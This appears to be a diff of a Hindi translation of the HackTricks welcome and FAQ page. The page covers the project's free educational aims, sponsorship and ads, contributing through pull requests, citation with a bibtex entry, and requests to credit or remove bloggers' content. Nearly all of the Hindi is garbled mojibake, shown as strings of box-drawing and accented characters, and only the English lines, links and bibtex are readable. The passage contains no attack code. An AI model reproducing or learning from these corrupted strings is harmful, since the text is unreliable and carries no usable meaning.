рд╣рдЬрд╛рд░реЛрдВ рдШрдВрдЯреЗ **рд╕рдВрдЧрдарди** рдХреЗ рд▓рд┐рдП рд╕рдорд░реНрдкрд┐рдд рдХрд┐рдП рд╣реИрдВ рддрд╛рдХрд┐ рд▓реЛрдЧ **рддреЗрдЬрд╝реА рд╕реЗ рд╕реАрдЦ** рд╕рдХреЗрдВред +> - рдкреВрд░реЗ рдЗрдВрдЯрд░рдиреЗрдЯ рдХреЗ рд▓рд┐рдП **рдирд┐рдГрд╢реБрд▓реНрдХ** **рд╢реИрдХреНрд╖рд┐рдХ hacking** рд╕рдВрд╕рд╛рдзрди рдЙрдкрд▓рдмреНрдз рдХрд░рд╛рдирд╛ред +> - Hacking рд╕реАрдЦрдиреЗ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╣реИ, рдФрд░ рд╕реАрдЦрдирд╛ рдЬрд┐рддрдирд╛ рд╕рдВрднрд╡ рд╣реЛ рдореБрдлреНрдд рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдПред +> - рдЗрд╕ рдкреБрд╕реНрддрдХ рдХрд╛ рдЙрджреНрджреЗрд╢реНрдп рдПрдХ рд╡реНрдпрд╛рдкрдХ **рд╢реИрдХреНрд╖рд┐рдХ рд╕реНрд░реЛрдд** рдХреЗ рд░реВрдк рдореЗрдВ рд╕реЗрд╡рд╛ рджреЗрдирд╛ рд╣реИред +> - awesome **hacking** techniques рдХреЛ **STORE** рдХрд░рдирд╛ рдЬреЛ рд╕рдореБрджрд╛рдп рдкреНрд░рдХрд╛рд╢рд┐рдд рдХрд░рддрд╛ рд╣реИ рдФрд░ **ORIGINAL** **AUTHORS** рдХреЛ рдкреВрд░рд╛ **рдХреНрд░реЗрдбрд┐рдЯ** рджреЗрдирд╛ред +> - **рд╣рдо рджреВрд╕рд░реЛрдВ рдХрд╛ рдХреНрд░реЗрдбрд┐рдЯ рдирд╣реАрдВ рдЪрд╛рд╣рддреЗ**, рд╣рдо рдмрд╕ рд╕рднреА рдХреЗ рд▓рд┐рдП рдмрдврд╝рд┐рдпрд╛ рдЯреНрд░рд┐рдХреНрд╕ рд╕рдВрдЧреНрд░рд╣реАрдд рдХрд░рдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВред +> - рд╣рдо HackTricks рдореЗрдВ рдЕрдкрдиреА **рдЦреБрдж рдХреА рд░рд┐рд╕рд░реНрдЪ** рднреА рд▓рд┐рдЦрддреЗ рд╣реИрдВред +> - рдХрдИ рдорд╛рдорд▓реЛрдВ рдореЗрдВ рд╣рдо HackTricks рдореЗрдВ рддрдХрдиреАрдХ рдХреЗ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣рд┐рд╕реНрд╕реЛрдВ рдХрд╛ **рд╕рд╛рд░рд╛рдВрд╢** рд▓рд┐рдЦреЗрдВрдЧреЗ рдФрд░ рдкрд╛рдардХ рдХреЛ рдЕрдзрд┐рдХ рд╡рд┐рд╡рд░рдг рдХреЗ рд▓рд┐рдП рдореВрд▓ рдкреЛрд╕реНрдЯ рдкрд░ рдЬрд╛рдиреЗ рдХреЗ рд▓рд┐рдП **рдкреНрд░реЛрддреНрд╕рд╛рд╣рд┐рдд** рдХрд░реЗрдВрдЧреЗред +> - рдкреБрд╕реНрддрд┐рдХрд╛ рдореЗрдВ рд╕рднреА hacking рддрдХрдиреАрдХреЛрдВ рдХреЛ **ORGANIZE** рдХрд░рдирд╛ рддрд╛рдХрд┐ рд╡реЗ **рдЬреНрдпрд╛рджрд╛ рд╕реБрд▓рдн** рд╣реЛрдВред +> - HackTricks рдЯреАрдо рдиреЗ рдХреЗрд╡рд▓ рд╕рд╛рдордЧреНрд░реА рдХреЛ рд╡реНрдпрд╡рд╕реНрдерд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╣рдЬрд╛рд░реЛрдВ рдШрдВрдЯреЗ рдирд┐:рд╢реБрд▓реНрдХ рд╕рдорд░реНрдкрд┐рдд рдХрд┐рдП рд╣реИрдВ рддрд╛рдХрд┐ рд▓реЛрдЧ **рддреЗрдЬрд╝реА рд╕реЗ рд╕реАрдЦ** рд╕рдХреЗрдВред
-## HackTricks рдЕрдХреНрд╕рд░ рдкреВрдЫреЗ рдЬрд╛рдиреЗ рд╡рд╛рд▓реЗ рдкреНрд░рд╢реНрди +## HackTricks faq > [!TIP] > -> - **рдЗрди рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЗ рд▓рд┐рдП рдмрд╣реБрдд рдзрдиреНрдпрд╡рд╛рдж тАФ рдореИрдВ рдХреИрд╕реЗ рдзрдиреНрдпрд╡рд╛рдж рдХрд░ рд╕рдХрддрд╛/рд╕рдХрддреА рд╣реВрдБ?** +> - **рдЗрди рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЗ рд▓рд┐рдП рдмрд╣реБрдд-рдмрд╣реБрдд рдзрдиреНрдпрд╡рд╛рдж, рдореИрдВ рдЖрдкрдХреЛ рдХреИрд╕реЗ рдзрдиреНрдпрд╡рд╛рдж рдХрд╣ рд╕рдХрддрд╛/рд╕рдХрддреА рд╣реВрдБ?** -рдЖрдк рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рд░реВрдк рд╕реЗ HackTricks рдЯреАрдо рдХрд╛ рдзрдиреНрдпрд╡рд╛рдж рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдЬрд┐рдиреНрд╣реЛрдВрдиреЗ рдЗрди рд╕рднреА рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЛ рдПрдХ рд╕рд╛рде рд░рдЦрд╛ тАФ рдПрдХ рдЯреНрд╡реАрдЯ рдореЗрдВ [**@hacktricks_live**](https://twitter.com/hacktricks_live) рдХрд╛ рдЙрд▓реНрд▓реЗрдЦ рдХрд░рдХреЗ.\ -рдпрджрд┐ рдЖрдк рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдХреГрддрдЬреНрдЮ рд╣реИрдВ рддреЛ рдЖрдк рднреА [**sponsor the project here**](https://github.com/sponsors/carlospolop) рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ.\ -рдФрд░ Github рдкреНрд░реЛрдЬреЗрдХреНрдЯреНрд╕ рдореЗрдВ рдПрдХ **рд╕реНрдЯрд╛рд░ рджреЗрдирд╛ рди рднреВрд▓реЗрдВ!** (рдиреАрдЪреЗ рд▓рд┐рдВрдХ рдорд┐рд▓реЗрдВрдЧреЗ). +рдЖрдк рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рд░реВрдк рд╕реЗ HackTricks рдЯреАрдо рдХреЛ рдЗрди рд╕рднреА рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЛ рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рд░реВрдк рд╕реЗ рдЗрдХрдЯреНрдард╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдЯреНрд╡рд┐рдЯрд░ рдкрд░ рдзрдиреНрдпрд╡рд╛рдж рджреЗ рд╕рдХрддреЗ рд╣реИрдВ, рдПрдХ рдЯреНрд╡реАрдЯ рдореЗрдВ [**@hacktricks_live**](https://twitter.com/hacktricks_live) рдХрд╛ рдЙрд▓реНрд▓реЗрдЦ рдХрд░реЗрдВред\ +рдЕрдЧрд░ рдЖрдк рд╡рд┐рд╢реЗрд╖ рд░реВрдк рд╕реЗ рдЖрднрд╛рд░реА рд╣реИрдВ рддреЛ рдЖрдк [**sponsor the project here**](https://github.com/sponsors/carlospolop) рднреА рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред\ +рдФрд░ Github рдкреНрд░реЛрдЬреЗрдХреНрдЯреНрд╕ рдореЗрдВ **рд╕реНрдЯрд╛рд░ рджреЗрдирд╛ рди рднреВрд▓реЗрдВ!** (рдиреАрдЪреЗ рд▓рд┐рдВрдХ рджреЗрдЦреЗрдВ)ред > [!TIP] > -> - **рдореИрдВ рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдореЗрдВ рдХреИрд╕реЗ рдпреЛрдЧрджрд╛рди рджреЗ рд╕рдХрддрд╛/рджреЗ рд╕рдХрддреА рд╣реВрдБ?** +> - **рдореИрдВ рдкреНрд░реЛрдЬреЗрдХреНрдЯ рдореЗрдВ рдХреИрд╕реЗ рдпреЛрдЧрджрд╛рди рдХрд░ рд╕рдХрддрд╛/рд╕рдХрддреА рд╣реВрдБ?** -рдЖрдк рд╕рдореБрджрд╛рдп рдХреЗ рд╕рд╛рде **рдирдП рдЯрд┐рдкреНрд╕ рдФрд░ рдЯреНрд░рд┐рдХреНрд╕ рд╕рд╛рдЭрд╛ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдпрд╛ рдХрд┐рддрд╛рдмреЛрдВ рдореЗрдВ рдкрд╛рдП рдЧрдП рдмрдЧ рдареАрдХ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ** рдФрд░ рд╕рдВрдмрдВрдзрд┐рдд Github рдкреГрд╖реНрдареЛрдВ рдкрд░ **Pull Request** рднреЗрдЬрдХрд░ рдпреЛрдЧрджрд╛рди рджреЗ рд╕рдХрддреЗ рд╣реИрдВ: +рдЖрдк рд╕рдореБрджрд╛рдп рдХреЗ рд╕рд╛рде рдирдП рдЯрд┐рдкреНрд╕ рдФрд░ рдЯреНрд░рд┐рдХреНрд╕ **рд╢реЗрдпрд░ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ рдпрд╛ рдХрд┐рддрд╛рдмреЛрдВ рдореЗрдВ рдЬреЛ рдмрдЧ рдорд┐рд▓реЗрдВ рдЙрдиреНрд╣реЗрдВ рдареАрдХ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ** рдФрд░ рд╕рдВрдмрдВрдзрд┐рдд Github рдкреЗрдЬ рдкрд░ рдПрдХ **Pull Request** рднреЗрдЬ рд╕рдХрддреЗ рд╣реИрдВ: - [https://github.com/carlospolop/hacktricks](https://github.com/carlospolop/hacktricks) - [https://github.com/carlospolop/hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud) -Github рдкреНрд░реЛрдЬреЗрдХреНрдЯреНрд╕ рдореЗрдВ рдПрдХ **рд╕реНрдЯрд╛рд░ рджреЗрдирд╛ рди рднреВрд▓реЗрдВ!** +Github рдкреНрд░реЛрдЬреЗрдХреНрдЯреНрд╕ рдореЗрдВ **рд╕реНрдЯрд╛рд░ рджреЗрдирд╛ рди рднреВрд▓реЗрдВ!** > [!TIP] > -> - **рдХреНрдпрд╛ рдореИрдВ HackTricks рд╕реЗ рдХреБрдЫ рд╕рд╛рдордЧреНрд░реА рдХреЙрдкреА рдХрд░рдХреЗ рдЕрдкрдиреЗ рдмреНрд▓реЙрдЧ рдореЗрдВ рдбрд╛рд▓ рд╕рдХрддрд╛/рд╕рдХрддреА рд╣реВрдБ?** +> - **рдХреНрдпрд╛ рдореИрдВ HackTricks рд╕реЗ рдХреБрдЫ рдХрдВрдЯреЗрдВрдЯ рдХреЙрдкреА рдХрд░рдХреЗ рдЕрдкрдиреЗ рдмреНрд▓реЙрдЧ рдкрд░ рдбрд╛рд▓ рд╕рдХрддрд╛/рд╕рдХрддреА рд╣реВрдБ?** -рд╣рд╛рдБ, рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рд▓реЗрдХрд┐рди **рдЙрди рд╡рд┐рд╢рд┐рд╖реНрдЯ рд▓рд┐рдВрдХ(рдУрдВ) рдХрд╛ рдЙрд▓реНрд▓реЗрдЦ рдХрд░рдирд╛ рди рднреВрд▓реЗрдВ** рдЬрд╣рд╛рдБ рд╕реЗ рд╕рд╛рдордЧреНрд░реА рд▓реА рдЧрдИ рдереАред +рд╣рд╛рдБ, рдЖрдк рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ, рд▓реЗрдХрд┐рди **рдЬрд╣рд╛рдБ рд╕реЗ рд╕рд╛рдордЧреНрд░реА рд▓реА рдЧрдИ рд╣реИ рдЙрди specific link(s) рдХрд╛ рдЙрд▓реНрд▓реЗрдЦ рдХрд░рдирд╛ рди рднреВрд▓реЗрдВред** > [!TIP] > > - **рдореИрдВ HackTricks рдХреЗ рдХрд┐рд╕реА рдкреЗрдЬ рдХрд╛ рд╕рдВрджрд░реНрдн рдХреИрд╕реЗ рджреВрдБ?** -рдЬрдм рддрдХ рдЙрд╕ рдкреЗрдЬ(рдУрдВ) **рдХрд╛** рд▓рд┐рдВрдХ рдЬрд╣рд╛рдБ рд╕реЗ рдЖрдкрдиреЗ рдЬрд╛рдирдХрд╛рд░реА рд▓реА рд╣реИ рджрд┐рдЦрд╛рдИ рджреЗрддрд╛ рд╣реИ, рдпрд╣ рдкрд░реНрдпрд╛рдкреНрдд рд╣реИ.\ -рдпрджрд┐ рдЖрдкрдХреЛ bibtex рдЪрд╛рд╣рд┐рдП рддреЛ рдЖрдк рдХреБрдЫ рдЗрд╕ рддрд░рд╣ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: +рдЬрдм рддрдХ рдЖрдк рдЙрди рдкреЗрдЬ(реЛрдВ) рдХрд╛ рд▓рд┐рдВрдХ рдЬрд╣рд╛рдБ рд╕реЗ рдЖрдкрдиреЗ рдЬрд╛рдирдХрд╛рд░реА рд▓реА рд╣реИ рджрд┐рдЦрд╛ рджреЗрддреЗ рд╣реИрдВ, рдпрд╣ рдХрд╛рдлреА рд╣реИред\ +рдЕрдЧрд░ рдЖрдкрдХреЛ bibtex рдЪрд╛рд╣рд┐рдП рддреЛ рдЖрдк рдХреБрдЫ рдЗрд╕ рддрд░рд╣ рдЙрдкрдпреЛрдЧ рдХрд░ рд╕рдХрддреЗ рд╣реИрдВ: ```latex @misc{hacktricks-bibtexing, author = {"HackTricks Team" or the Authors name of the specific page/trick}, @@ -63,81 +63,81 @@ url = {\url{https://book.hacktricks.wiki/specific-page}}, > [!WARNING] > > - **Can I copy all HackTricks in my blog?** - -**рдореИрдВ рдЗрд╕реЗ рдкрд╕рдВрдж рдирд╣реАрдВ рдХрд░реВрдБрдЧрд╛ред** рдпрд╣ рдХрд┐рд╕реА рдХреЗ рднреА рд╣рд┐рдд рдореЗрдВ рдирд╣реАрдВ рд╣реИ рдХреНрдпреЛрдВрдХрд┐ рд╕рд╛рд░рд╛ **content рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рдЖрдзрд┐рдХрд╛рд░рд┐рдХ HackTricks рдХрд┐рддрд╛рдмреЛрдВ рдореЗрдВ рдореБрдлреНрдд рдЙрдкрд▓рдмреНрдз рд╣реИ**ред - -рдЕрдЧрд░ рдЖрдкрдХреЛ рдбрд░ рд╣реИ рдХрд┐ рдпрд╣ рдЧрд╛рдпрдм рд╣реЛ рдЬрд╛рдПрдЧрд╛, рддреЛ рдмрд╕ рдЗрд╕реЗ Github рдкрд░ fork рдХрд░ рд▓реЗрдВ рдпрд╛ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░ рд▓реЗрдВ тАФ рдЬреИрд╕рд╛ рдореИрдВрдиреЗ рдХрд╣рд╛, рдпрд╣ рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рдореБрдлреНрдд рд╣реИред +> +> **рдореИрдВ рдРрд╕рд╛ рдХрд░рдирд╛ рдкрд╕рдВрдж рдирд╣реАрдВ рдХрд░реВрдБрдЧрд╛/рдХрд░реВрдБрдЧреАред** рдпрд╣ **рдХрд┐рд╕реА рдХреЗ рднреА рд▓рд╛рдн рдореЗрдВ рдирд╣реАрдВ рд╣реЛрдЧрд╛** рдХреНрдпреЛрдВрдХрд┐ рд╕рд╛рд░реА **рд╕рд╛рдордЧреНрд░реА рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рдЖрдзрд┐рдХрд╛рд░рд┐рдХ HackTricks рдкреБрд╕реНрддрдХреЛрдВ рдореЗрдВ рдореБрдлреНрдд рд░реВрдк рд╕реЗ рд╕рд╛рд░реНрд╡рдЬрдирд┐рдХ рд░реВрдк рд╕реЗ рдЙрдкрд▓рдмреНрдз рд╣реИред** +> +> рдпрджрд┐ рдЖрдкрдХреЛ рдбрд░ рд╣реИ рдХрд┐ рдпрд╣ рдХрд╣реАрдВ рдЧрд╛рдпрдм рд╣реЛ рдЬрд╛рдПрдЧрд╛, рддреЛ рдмрд╕ рдЗрд╕реЗ Github рдкрд░ fork рдХрд░ рд▓реЗрдВ рдпрд╛ рдбрд╛рдЙрдирд▓реЛрдб рдХрд░ рд▓реЗрдВтАФрдЬреИрд╕рд╛ рдХрд┐ рдореИрдВрдиреЗ рдХрд╣рд╛ рдпрд╣ рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рдореБрдлреНрдд рд╣реИред > [!WARNING] > > - **Why do you have sponsors? Are HackTricks books for commercial purposes?** - -рдкрд╣рд▓рд╛ **HackTricks** **value** рдпрд╣ рд╣реИ рдХрд┐ рджреБрдирд┐рдпрд╛ рднрд░ рдХреЗ рд▓рд┐рдП **FREE** hacking educational resources рдкреЗрд╢ рдХрд░рдирд╛ред HackTricks рдЯреАрдо рдиреЗ рдЗрд╕ рд╕рд╛рдордЧреНрд░реА рдХреЛ рдореБрдлреНрдд рдореЗрдВ рдЙрдкрд▓рдмреНрдз рдХрд░рд╛рдиреЗ рдХреЗ рд▓рд┐рдП **рд╣рдЬрд╝рд╛рд░реЛрдВ рдШрдВрдЯреЗ рд╕рдорд░реНрдкрд┐рдд рдХрд┐рдП рд╣реИрдВ**ред - -рдЕрдЧрд░ рдЖрдк рд╕реЛрдЪрддреЗ рд╣реИрдВ рдХрд┐ HackTricks рдХрд┐рддрд╛рдмреЗрдВ **commercial purposes** рдХреЗ рд▓рд┐рдП рдмрдирд╛рдИ рдЧрдИ рд╣реИрдВ рддреЛ рдЖрдк **COMPLETELY WRONG** рд╣реИрдВред - -рд╣рдорд╛рд░реЗ рдкрд╛рд╕ sponsors рдЗрд╕рд▓рд┐рдП рд╣реИрдВ рдХреНрдпреЛрдВрдХрд┐, рднрд▓реЗ рд╣реА рд╕рд╛рд░реА рд╕рд╛рдордЧреНрд░реА FREE рд╣реЛ, рд╣рдо community рдХреЛ **рд╣рдорд╛рд░реЗ рдХрд╛рдо рдХреА рдкреНрд░рд╢рдВрд╕рд╛ рдХрд░рдиреЗ рдХрд╛ рд╡рд┐рдХрд▓реНрдк** рджреЗрдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ рдЕрдЧрд░ рд╡реЗ рдЪрд╛рд╣реЗрдВред рдЗрд╕рд▓рд┐рдП, рд╣рдо рд▓реЛрдЧреЛрдВ рдХреЛ HackTricks рдХреЛ [**Github sponsors**](https://github.com/sponsors/carlospolop) рдХреЗ рдЬрд░рд┐рдП рджрд╛рди рдХрд░рдиреЗ рдХрд╛ рд╡рд┐рдХрд▓реНрдк рджреЗрддреЗ рд╣реИрдВ, рдФрд░ **relevant cybersecurity companies** HackTricks рдХреЛ sponsor рдХрд░ рд╕рдХрддреА рд╣реИрдВ рдФрд░ рдХрд┐рддрд╛рдм рдореЗрдВ рдХреБрдЫ ads рд░рдЦ рд╕рдХрддреА рд╣реИрдВ тАФ рдпреЗ **ads** рд╣рдореЗрд╢рд╛ рдРрд╕реА рдЬрдЧрд╣реЛрдВ рдкрд░ рд░рдЦреЗ рдЬрд╛рддреЗ рд╣реИрдВ рдЬрд╣рд╛рдБ рд╡реЗ **рджрд┐рдЦрддреЗ рд╣реЛрдВ** рдкрд░ рд╕реАрдЦрдиреЗ рдХреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдХреЛ **рд╡реНрдпрд╡рдзрд╛рди рди рдкрд╣реБрдБрдЪрд╛рдПрдБ**ред - -рдЖрдк HackTricks рдореЗрдВ рдЙрддрдиреЗ рдкрд░реЗрд╢рд╛рди рдХрд░рдиреЗ рд╡рд╛рд▓реЗ ads рдирд╣реАрдВ рдкрд╛рдПрдБрдЧреЗ рдЬрд┐рддрдиреЗ рдХреБрдЫ рдХрдо рд╕рд╛рдордЧреНрд░реА рд╡рд╛рд▓реЗ рдмреНрд▓реЙрдЧреНрд╕ рдореЗрдВ рд╣реЛрддреЗ рд╣реИрдВ, рдХреНрдпреЛрдВрдХрд┐ HackTricks рдХреЛ commercial рдЙрджреНрджреЗрд╢реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП рдирд╣реАрдВ рдмрдирд╛рдпрд╛ рдЧрдпрд╛ рд╣реИред +> +> рдкрд╣рд▓рд╛ **HackTricks** **рдореВрд▓реНрдп** рджреБрдирд┐рдпрд╛ рднрд░ рдХреЗ рд▓рд┐рдП **рдирд┐рд╢реБрд▓реНрдХ (FREE)** hacking рд╢реИрдХреНрд╖рд┐рдХ рд╕рдВрд╕рд╛рдзрди рдкреНрд░рджрд╛рди рдХрд░рдирд╛ рд╣реИред HackTricks рдЯреАрдо рдиреЗ рдпрд╣ рд╕рд╛рдордЧреНрд░реА рдкреНрд░рджрд╛рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП **рд╣рдЬрд╝рд╛рд░реЛрдВ рдШрдВрдЯреЗ рд╕рдорд░реНрдкрд┐рдд** рдХрд┐рдП рд╣реИрдВ, рдФрд░ рдлрд┐рд░ рд╕реЗ рдХрд╣реВрдБрдЧрд╛, рдпрд╣ рд╕рдм **рдореБрдлреНрдд** рд╣реИред +> +> рдЕрдЧрд░ рдЖрдк рд╕реЛрдЪрддреЗ рд╣реИрдВ рдХрд┐ HackTricks рдХрд┐рддрд╛рдмреЗрдВ **рд╡рд╛рдгрд┐рдЬреНрдпрд┐рдХ рдЙрджреНрджреЗрд╢реНрдпреЛрдВ** рдХреЗ рд▓рд┐рдП рдмрдиреА рд╣реИрдВ рддреЛ рдЖрдк **рдкреВрд░реА рддрд░рд╣ рдЧрд▓рдд** рд╣реИрдВред +> +> рд╣рдорд╛рд░реЗ рдкрд╛рд╕ sponsors рд╣реИрдВ рдХреНрдпреЛрдВрдХрд┐, рднрд▓реЗ рд╣реА рд╕рд╛рд░реА рд╕рд╛рдордЧреНрд░реА рдореБрдлреНрдд рд╣реЛ, рд╣рдо рд╕рдореБрджрд╛рдп рдХреЛ **рд╣рдорд╛рд░реЗ рдХрд╛рдо рдХреА рд╕рд░рд╛рд╣рдирд╛ рдХрд░рдиреЗ рдХрд╛ рд╡рд┐рдХрд▓реНрдк рджреЗрдирд╛** рдЪрд╛рд╣рддреЗ рд╣реИрдВ рдпрджрд┐ рд╡реЗ рдЪрд╛рд╣реЗрдВред рдЗрд╕рд▓рд┐рдП, рд╣рдо рд▓реЛрдЧреЛрдВ рдХреЛ HackTricks рдХреЛ рджрд╛рди рдХрд░рдиреЗ рдХрд╛ рд╡рд┐рдХрд▓реНрдк рджреЗрддреЗ рд╣реИрдВ via [**Github sponsors**](https://github.com/sponsors/carlospolop), рдФрд░ **рдкреНрд░рд╛рд╕рдВрдЧрд┐рдХ рд╕рд╛рдЗрдмрд░рд╕рд┐рдХреНрдпреЛрд░рд┐рдЯреА рдХрдВрдкрдирд┐рдпреЛрдВ** рдХреЛ HackTricks рдХрд╛ рд╕рдорд░реНрдерди рдХрд░рдиреЗ рдФрд░ рдХрд┐рддрд╛рдм рдореЗрдВ рдХреБрдЫ ads рд░рдЦрдиреЗ рдХрд╛ рд╡рд┐рдХрд▓реНрдк рджреЗрддреЗ рд╣реИрдВтАФрдпреЗ ads рд╣рдореЗрд╢рд╛ рдРрд╕реА рдЬрдЧрд╣реЛрдВ рдкрд░ рд░рдЦреЗ рдЬрд╛рддреЗ рд╣реИрдВ рдЬрд╣рд╛рдБ рд╡реЗ **рджрд┐рдЦрд╛рдИ рджреЗрдВ** рдордЧрд░ рд╕реАрдЦрдиреЗ рдХреА рдкреНрд░рдХреНрд░рд┐рдпрд╛ рдореЗрдВ **рд╡рд┐рдШреНрди рди рдбрд╛рд▓реЗрдВ** рдЕрдЧрд░ рдХреЛрдИ рд╕рд╛рдордЧреНрд░реА рдкрд░ рдзреНрдпрд╛рди рдХреЗрдВрджреНрд░рд┐рдд рдХрд░ рд░рд╣рд╛ рд╣реЛред +> +> рдЖрдк HackTricks рдореЗрдВ рдЙрд╕ рддрд░рд╣ рдХреА рдкрд░реЗрд╢рд╛рди рдХрд░рдиреЗ рд╡рд╛рд▓реА ads рдирд╣реАрдВ рдкрд╛рдПрдБрдЧреЗ рдЬреИрд╕рд╛ рдХреБрдЫ рджреВрд╕рд░реЗ рдмреНрд▓реЙрдЧреНрд╕ рдореЗрдВ рд╣реЛрддрд╛ рд╣реИ рдЬрд┐рдирдореЗрдВ HackTricks рд╕реЗ рдмрд╣реБрдд рдХрдо рд╕рд╛рдордЧреНрд░реА рд╣реЛрддреА рд╣реИ, рдХреНрдпреЛрдВрдХрд┐ HackTricks рд╡рд╛рдгрд┐рдЬреНрдпрд┐рдХ рдЙрджреНрджреЗрд╢реНрдпреЛрдВ рдХреЗ рд▓рд┐рдП рдирд╣реАрдВ рдмрдирд╛рдИ рдЧрдИ рд╣реИред > [!CAUTION] > > - **What should I do if some HackTricks page is based on my blog post but it isn't referenced?** - -**рд╣рдореЗрдВ рдмрд╣реБрдд рдЦреЗрдж рд╣реИред рдпрд╣ рдирд╣реАрдВ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП рдерд╛ред** рдХреГрдкрдпрд╛ рд╣рдореЗрдВ Github issues, Twitter, Discord... рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдмрддрд╛рдПрдВ тАФ рдЙрд╕ HackTricks рдкреЗрдЬ рдХрд╛ рд▓рд┐рдВрдХ рдФрд░ рдЖрдкрдХреЗ рдмреНрд▓реЙрдЧ рдХрд╛ рд▓рд┐рдВрдХ рднреЗрдЬреЗрдВ рдФрд░ **рд╣рдо рдЬрд╛рдВрдЪ рдХрд░реЗрдВрдЧреЗ рдФрд░ ASAP рд▓рд┐рдВрдХ рдЬреЛрдбрд╝ рджреЗрдВрдЧреЗ**ред +> +> **рд╣рдореЗрдВ рдмрд╣реБрдд рдХреНрд╖рдорд╛ рдЪрд╛рд╣рд┐рдпреЗред рдпрд╣ рдирд╣реАрдВ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП рдерд╛ред** рдХреГрдкрдпрд╛ рд╣рдореЗрдВ Github issues, Twitter, Discord... рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рд╕реВрдЪрд┐рдд рдХрд░реЗрдВ тАФ рдЙрд╕ HackTricks рдкреЗрдЬ рдХрд╛ рд▓рд┐рдВрдХ рдЬрд┐рд╕рдореЗрдВ рдЖрдкрдХреА рд╕рд╛рдордЧреНрд░реА рд╣реИ рдФрд░ рдЖрдкрдХреЗ рдмреНрд▓реЙрдЧ рдХрд╛ рд▓рд┐рдВрдХ рднреЗрдЬреЗрдВ рдФрд░ **рд╣рдо рдЗрд╕реЗ рдЬрд╛рдБрдЪрдХрд░ ASAP рдЬреЛрдбрд╝ рджреЗрдВрдЧреЗ**ред > [!CAUTION] > > - **What should I do if there is content from my blog in HackTricks and I don't want it there?** - -рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ HackTricks рдореЗрдВ рдЖрдкрдХреЗ рдкреЗрдЬ рдХреЗ рд▓рд┐рдВрдХ рд╣реЛрдиреЗ рд╕реЗ: - -- рдЖрдкрдХреЗ **SEO** рдореЗрдВ рд╕реБрдзрд╛рд░ рд╣реЛрддрд╛ рд╣реИ -- рд╕рд╛рдордЧреНрд░реА **15+ рднрд╛рд╖рд╛рдУрдВ** рдореЗрдВ рдЕрдиреБрд╡рд╛рджрд┐рдд рд╣реЛрддреА рд╣реИ рдЬрд┐рд╕рд╕реЗ рдЕрдзрд┐рдХ рд▓реЛрдЧ рдЗрд╕ рд╕рд╛рдордЧреНрд░реА рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддреЗ рд╣реИрдВ -- **HackTricks рд▓реЛрдЧреЛрдВ рдХреЛ рдЖрдкрдХреЗ рдкреЗрдЬ рдХреЛ рдЪреЗрдХ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкреНрд░реЗрд░рд┐рдд рдХрд░рддрд╛ рд╣реИ** (рдХрдИ рд▓реЛрдЧреЛрдВ рдиреЗ рд╣рдореЗрдВ рдмрддрд╛рдпрд╛ рд╣реИ рдХрд┐ рдЬрдм рдЙрдирдХрд╛ рдХреЛрдИ рдкреЗрдЬ HackTricks рдореЗрдВ рдЖрдпрд╛ рддрдм рдЙрдиреНрд╣реЗрдВ рдЕрдзрд┐рдХ рд╡рд┐рдЬрд╝рд┐рдЯреНрд╕ рдорд┐рд▓реЗ) - -рд╣рд╛рд▓рд╛рдБрдХрд┐, рдЕрдЧрд░ рдЖрдк рдлрд┐рд░ рднреА рдЪрд╛рд╣рддреЗ рд╣реИрдВ рдХрд┐ рдЖрдкрдХреЗ рдмреНрд▓реЙрдЧ рдХреА рд╕рд╛рдордЧреНрд░реА HackTricks рд╕реЗ рд╣рдЯрд╛рдИ рдЬрд╛рдП, рддреЛ рдмрд╕ рд╣рдореЗрдВ рдмрддрд╛рдПрдВ рдФрд░ рд╣рдо рдирд┐рд╢реНрдЪрд┐рдд рд░реВрдк рд╕реЗ **рдЖрдкрдХреЗ рдмреНрд▓реЙрдЧ рдХреЗ рд╕рднреА рд▓рд┐рдВрдХ** рдФрд░ рдЙрд╕ рдкрд░ рдЖрдзрд╛рд░рд┐рдд рдХрд┐рд╕реА рднреА рд╕рд╛рдордЧреНрд░реА рдХреЛ рд╣рдЯрд╛ рджреЗрдВрдЧреЗред +> +> рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ HackTricks рдореЗрдВ рдЖрдкрдХреЗ рдкреЗрдЬ рдХреЗ рд▓рд┐рдВрдХ рд╣реЛрдиреЗ 